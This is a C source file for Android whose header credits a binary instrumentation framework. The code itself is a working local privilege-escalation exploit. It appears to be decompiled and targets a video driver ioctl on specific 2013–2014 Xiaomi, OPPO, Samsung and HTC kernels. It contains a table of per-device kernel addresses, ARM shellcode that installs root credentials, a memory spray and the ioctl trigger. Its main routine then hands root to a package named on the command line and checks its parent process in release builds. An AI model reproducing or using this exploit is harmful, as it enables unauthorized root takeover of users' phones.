/*
 *  Collin's Binary Instrumentation Tool/Framework for Android
 *  Collin Mulliner <collin[at]mulliner.org>
 *  http://www.mulliner.org/android/
 *
 *  (c) 2012,2013
 *
 *  License: LGPL v2.1
 *
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <sys/mman.h>
#include <jni.h>
#include <fcntl.h>
#include <unistd.h>

#include <stdio.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <string.h>

#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <stdbool.h>
#include <android/log.h>
#include <stdint.h>
#include <sys/utsname.h>
#include <sys/system_properties.h>
#include "util.h"

//#define DEBUG

#ifdef DEBUG
#define printff    printf
#else
#define printff(...) 
#endif

#define LOG_TAG "JS"
#define HLOGI(fmt, args...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, fmt, ##args)''

typedef unsigned short  uint16;
typedef unsigned int  uint32;
#define _WORD  uint16
#define _DWORD  uint32 

#define HIWORD(x)   (*((_WORD*)&(x)+1))

typedef struct _sty_1{
	char band[16];
	char model[32];
	char buildno[64];
	char version[64];
	unsigned int a;
	unsigned int b;
	unsigned int c;
	unsigned int d;
    unsigned int e;
    unsigned int f;
}sty_1, *psty_1;

typedef struct _scmd{
	int v34; // [sp+78h] [bp-1F88h]@34
    unsigned int *v35; // [sp+7Ch] [bp-1F84h]@34
    int temp1; //[sp+80h],[sp+84h],[sp+88h],[sp+8Ch]
    int temp2;
    int temp3;
    int temp4;
    unsigned int v36; // [sp+90h] [bp-1F70h]@34
    signed int v37; // [sp+94h] [bp-1F6Ch]@34
    int temp5; //[sp+98h]
    int temp6; //[sp+9ch]
}scmd, *pscmd;
    
typedef struct _sarg{
	int v38; // [sp+A0h] [bp-1F60h]@37
    int temp1; // [sp+A4h]
    int temp2;  // [sp+A8h]
    int temp3;  // [sp+ACh]
    unsigned int v39; // [sp+B0h] [bp-1F50h]@34
}sarg, *psarg;

typedef struct _tmp{	
	char v41[0x2000];
	char temp[0x1E8];
	int v47;
}tmp,*ptmp;

sty_1 _data_start_1[] ={
{"Xiaomi", "MI-ONE Plus", "3.4.0-perf-g1ccebb5-00146-gfe30aa3", "#1 SMP PREEMPT Wed Nov 20 21:03:13 CST 2013", 0x4, 0x0, 0x0, 0xc0ce4a68, 0xc00a90b0, 0xc00a8bd4}, \
{"Xiaomi", "MI 2", "3.4.0-g52db9c3-01072-geedb0e9", "#1 SMP PREEMPT Thu Dec 5 11:48:51 CST 2013", 0x4, 0x0, 0x0, 0xc0f807c0, 0xc008ad64, 0xc008a888}, \
{"Xiaomi", "MI 2", "3.4.0-g52db9c3-00961-g49b0a17", "#1 SMP PREEMPT Wed Apr 3 23:02:12 CST 2013", 0x4, 0x0, 0x0, 0xc0f7ec80, 0xc008a930, 0xc008a454}, \
{"Xiaomi", "MI 2", "3.4.0-g52db9c3-00986-g80d593b", "#1 SMP PREEMPT Fri Apr 26 21:11:23 CST 2013", 0x4, 0x0, 0x0, 0xc0f7f2c0, 0xc008a930, 0xc008a454}, \
{"Xiaomi", "MI 2", "3.4.0-g52db9c3-01000-g1d136e8", "#1 SMP PREEMPT Mon May 20 15:39:12 CST 2013", 0x4, 0x0, 0x0, 0xc0f7f2c0, 0xc008a930, 0xc008a454}, \
{"Xiaomi", "MI 2", "3.4.0-g52db9c3-01012-g167cc3e", "#1 SMP PREEMPT Thu Jun 13 10:52:41 CST 2013", 0x4, 0x0, 0x0, 0xc0f80140, 0xc008a930, 0xc008a454}, \
{"Xiaomi", "MI 2", "3.4.0-g52db9c3-01014-gf3641e5", "#1 SMP PREEMPT Thu Jun 27 14:17:33 CST 2013", 0x4, 0x0, 0x0, 0xc0f80140, 0xc008a930, 0xc008a454}, \
{"Xiaomi", "MI 2", "3.4.0-g52db9c3-01047-gc46d087", "#1 SMP PREEMPT Wed Jul 17 10:35:15 CST 2013", 0x4, 0x0, 0x0, 0xc0f80040, 0xc008a944, 0xc008a468}, \
{"Xiaomi", "MI 2", "3.4.0-g52db9c3-01061-g76e8c5c", "#1 SMP PREEMPT Mon Sep 9 15:06:31 CST 2013", 0x4, 0x0, 0x0, 0xc0f80040, 0xc008a944, 0xc008a468}, \
{"Xiaomi", "MI 2", "3.4.0-g52db9c3-01064-gf272080", "#1 SMP PREEMPT Tue Oct 29 14:57:55 CST 2013", 0x4, 0x0, 0x0, 0xc0f80040, 0xc008a944, 0xc008a468}, \
{"Xiaomi", "MI 2", "3.4.0-g52db9c3-01068-g35efc4d", "#1 SMP PREEMPT Tue Nov 26 15:50:01 CST 2013", 0x4, 0x0, 0x0, 0xc0f80040, 0xc008ad64, 0xc008a888}, \
{"Xiaomi", "MI 2", "3.4.0-g52db9c3-01073-gcb85193", "#1 SMP PREEMPT Thu Dec 26 16:48:59 CST 2013", 0x4, 0x0, 0x0, 0xc0f807c0, 0xc008ad64, 0xc008a888}, \
{"Xiaomi", "MI 2A", "3.4.0-g52db9c3-01073-gcb85193", "#1 SMP PREEMPT Thu Dec 26 16:54:57 CST 2013", 0x4, 0x0, 0x0, 0xc0efb518, 0xc008a3e4, 0xc0089f08}, \
{"OPPO", "X909", "3.4.0-perf-svn4102", "#1 SMP PREEMPT Tue Dec 24 14:51:17 CST 2013", 0x10, 0xc, 0x0, 0xc117e550, 0xc00a58c4, 0xc00a53e8}, \
{"samsung", "GT-I9128I", "3.4.0-2253412", "#1 SMP PREEMPT Thu Dec 5 12:51:45 KST 2013", 0x10, 0xc, 0x0, 0xc0f28e88, 0xc009c218, 0xc009bd3c}, \
{"samsung", "GT-I9128I", "3.4.0-2524228", "#1 SMP PREEMPT Wed Feb 12 13:19:07 KST 2014", 0x10, 0xc, 0x0, 0xc0f28e88, 0xc009c218, 0xc009bd3c}, \
{"samsung", "GT-I9128E", "3.4.0-2253412", "#1 SMP PREEMPT Thu Dec 5 12:48:27 KST 2013", 0x10, 0xc, 0x0, 0xc0f28e88, 0xc009c218, 0xc009bd3c}, \
{"samsung", "GT-I9128E", "3.4.0-2524228", "#1 SMP PREEMPT Wed Feb 12 13:19:58 KST 2014", 0x10, 0xc, 0x0, 0xc0f28e88, 0xc009c218, 0xc009bd3c}, \
{"HTC", "HTC X920e", "3.4.10-gb1ff67f", "#1 SMP PREEMPT Thu Jan 2 19:52:17 CST 2014", 0x4, 0x0, 0x0, 0xc0e0c0ec, 0xc00b240c, 0xc00b1f0c}, \
{"samsung", "GT-N7108D", "3.4.0-1590558", "#1 SMP PREEMPT Tue Sep 17 15:34:21 KST 2013", 0x10, 0xc, 0x0, 0xc106e920, 0xc009d438, 0xc009cf24}, \
{"samsung", "GT-N7108D", "3.4.0-2579253", "#1 SMP PREEMPT Thu Mar 6 20:29:29 KST 2014", 0x10, 0xc, 0x0, 0xc106e920, 0xc009d7ec, 0xc009d2d8}, \
{"samsung", "GT-N7108D", "3.4.0-2396280", "#1 SMP PREEMPT Wed Jan 15 18:14:43 KST 2014", 0x10, 0xc, 0x0, 0xc106e920, 0xc009d7ec, 0xc009d2d8}, \
{"samsung", "GT-N7108D", "3.4.0-1300320", "#1 SMP PREEMPT Mon Aug 5 20:50:48 KST 2013", 0x10, 0xc, 0x0, 0xc106d0a0, 0xc009d428, 0xc009cf14}, \
};

int g_table_size = sizeof(_data_start_1)/sizeof(sty_1);

char shellcode[0x28] = "\x10\x40\x2D\xE9\x14\x30\x9F\xE5\x00\x00\xA0\xE3\x33\xFF\x2F\xE1\x0C\x30\x9F\xE5\x33\xFF\x2F\xE1\x00\x00\xA0\xE3\x10\x80\xBD\xE8\x00\x00\x00\x00\x00\x00\x00\x00";

void root_exploit() {
    struct utsname ut_sname;
    int sys_ret = uname(&ut_sname);
    char phone_model[32] = {0};
    int n_phone_model_len = 0;
    sty_1 tmpsty_1;
 
    char *v13; // r5@28
    unsigned int v14; // r6@30
    int v15; // r10@32
    int v16; // r12@34
    int v17; // r4@34
    int v18; // r2@34
    unsigned int v19; // r9@34
    unsigned int v20; // r11@34
    int v21; // r6@34
    int v22; // r8@34
    int v23; // r4@35
    int i; // r5@35
    int s1; // [sp+10h] [bp-1FF0h]@33

    char server_queue_l2[0x54] = {0};
    scmd tmpscmd;
    sarg tmpsarg;

    char v41[0x2000] = {0}; // [sp+B8h] [bp-1F48h]@31
    
    int v47 = 0; // [sp+22A0h] [bp+2A0h]@34  offset 0xE7

    tmpscmd.v34 = 0;
    tmpscmd.v35 = 0;
    tmpscmd.temp1 = 0;
    tmpscmd.temp2 = 0;
    tmpscmd.temp3 = 0;
    tmpscmd.temp4 = 0;
    tmpscmd.v36 = 0;
    tmpscmd.v37 = 0;
    tmpscmd.temp5 = 0;
    tmpscmd.temp6 = 0;
      
    if ( !sys_ret )
    {
        printff("ok,do phase 1\n");
        __system_property_get("ro.product.model", phone_model);
        n_phone_model_len = strlen(phone_model);
        
        int i = 0;
        while (i < g_table_size) {
            int n_phone_release = 0;

            memcpy(&tmpsty_1, &_data_start_1[i], sizeof(sty_1));
            printff("band %s ,model %s, buildno %s, version %s\n", tmpsty_1.band,tmpsty_1.model,tmpsty_1.buildno,tmpsty_1.version);
            if (strlen(tmpsty_1.model) == n_phone_model_len) {
                n_phone_release = strlen(ut_sname.release);
                if(n_phone_release == strlen(tmpsty_1.buildno) &&
                     !strncmp(phone_model,tmpsty_1.model,n_phone_model_len) &&
                     !strncmp(tmpsty_1.buildno, ut_sname.release, n_phone_release)) {
                    
                    if (!strncmp(ut_sname.version, tmpsty_1.version,strlen(tmpsty_1.version))) {
                        break;
                    }
                }
            }    
            i++;
        }
        if(i == g_table_size)
        {
            printff("ok,error phone\n");
            exit(1);
        }
        
        v13 = &tmpsty_1;

        if ( v13 && *((_DWORD *)v13 + 47) )
        {
            printff("ok,do phase 2\n");
            v14 = (unsigned int)mmap(0, 0x2000000u, 3, 34, 0xFFFFFFFF, 0);
            if ( v14 == -1
              || (*((unsigned int *)shellcode + 8) = *((_DWORD *)v13 + 48),
                 *((unsigned int *)shellcode + 9) = *((_DWORD *)v13 + 49), 
                  memcpy((void *)(((unsigned int)v41 & 0xFFFFF000) + 4096), shellcode, 0x28u),
                  mprotect((void *)(((unsigned int)v41 & 0xFFFFF000) + 4096), 0x1000u, 7)))
            {
                printff("ok,do phase 3\n");
                exit(4);
            }

            v15 = open("/dev/video100", 0);
            if ( v15 >= 0 )
            {
              s1 = open("/dev/ptmx", 1);
              if ( s1 >= 0 )
              {
                printff("ok,do phase 4\n");
                v16 = *((_DWORD *)v13 + 44);
                v19 = (v16 << 16) | 0xC00056C4;
                
                tmpsarg.v39 = ((unsigned int)v41 & 0xFFFFF000) + 4096;
                
                tmpscmd.v36 = -((0xC0000000 - v14) / 0x54);
                tmpscmd.v37 = 0xCAFEBABE;
                HIWORD(tmpscmd.v34) = 4;
                
                tmpscmd.v35 = &(tmpsarg.v39);
                *(int *)((char *)&tmpsarg.v38 + (*((_DWORD *)v13 + 45) & 0xFFFFFFFC)) = (int)&tmpscmd;
                
                v18 = *((_DWORD *)v13 + 47) + 56;
                
                *((unsigned int *)server_queue_l2) = 1;
                *((unsigned int *)server_queue_l2 + 3) = 0;
                *((unsigned int *)server_queue_l2 + 4) = 0;
                *((unsigned int *)server_queue_l2 + 7) = 0x7FFFFFFF;
                *((unsigned int *)server_queue_l2 + 8) = 0;
                *((unsigned int *)server_queue_l2 + 19) = v18;
                *((unsigned int *)server_queue_l2 + 20) = 0xCAFEBABE;

                v17 = 0;
                v20 = 84 * (v14 / 0x54) + 84;
                v21 = v14 + 0x2000000;
                v22 = 0;
                while ( 1 )
                {
                  v23 = v20 + 4 * v17;
                  for ( i = v23 + 84; v21 > (unsigned int)i; i += 84 )
                  {
                    memcpy((void *)v23, server_queue_l2, 0x54u);
                    *(_DWORD *)(v23 + 20) = v23 + 20;
                    *(_DWORD *)(v23 + 4) = v23 + 4;
                    *(_DWORD *)(v23 + 8) = v23 + 4;
                    *(_DWORD *)(v23 + 24) = v23 + 20;
                    v23 = i;
                  }
                  printff("ok,enter ioctl\n");
                  if ( !ioctl(v15, v19, &tmpsarg) ){
                    printff("ok,ioctl ok\n");
                    break;
                  }
                  ++v22;
                  v17 = v22;
                  if ( v22 == 21 )
                    goto LABEL_39;
                }
                sleep(1u);
LABEL_39:
                
                fsync(s1);
                printff("ok,fsync ok\n");
                close(s1);
                close(v15);
                if ( !getuid() )
                {
                    printff("root success!!!!\n");

                }
               } 
            }
        }
    }
}

/*
int main(int argc, char* argv){
	int val = getuid();
	printff("uid:%d\n", val);

	root_exploit();

	val = getuid();
	printff("uid:%d\n", val);
	return 0;
}
*/

//////////////////////////////////////////////////////////////////////////

extern int runrt(int uid, const char* pszPkgName, const char* pszRootName);

void do_root(int argc, const char **argv)
{
	printff("runrt(%d, '%s', '%s')\n", atoi(argv[1]), argv[2], argv[3]);
	runrt( atoi(argv[1]), argv[2], argv[3] );
}

int main(int argc, const char **argv)
{
	int ret = 0, uid=0;

#ifndef DEBUG	
	check_parent_pid();
#endif

	if(argc < 4) return 1;
	
	root_exploit();
	
	uid = getuid();
	ret = (uid == 0);
	
	if(ret)
	{
		do_root(argc, argv);
	}
	return ret? 0:1;
}
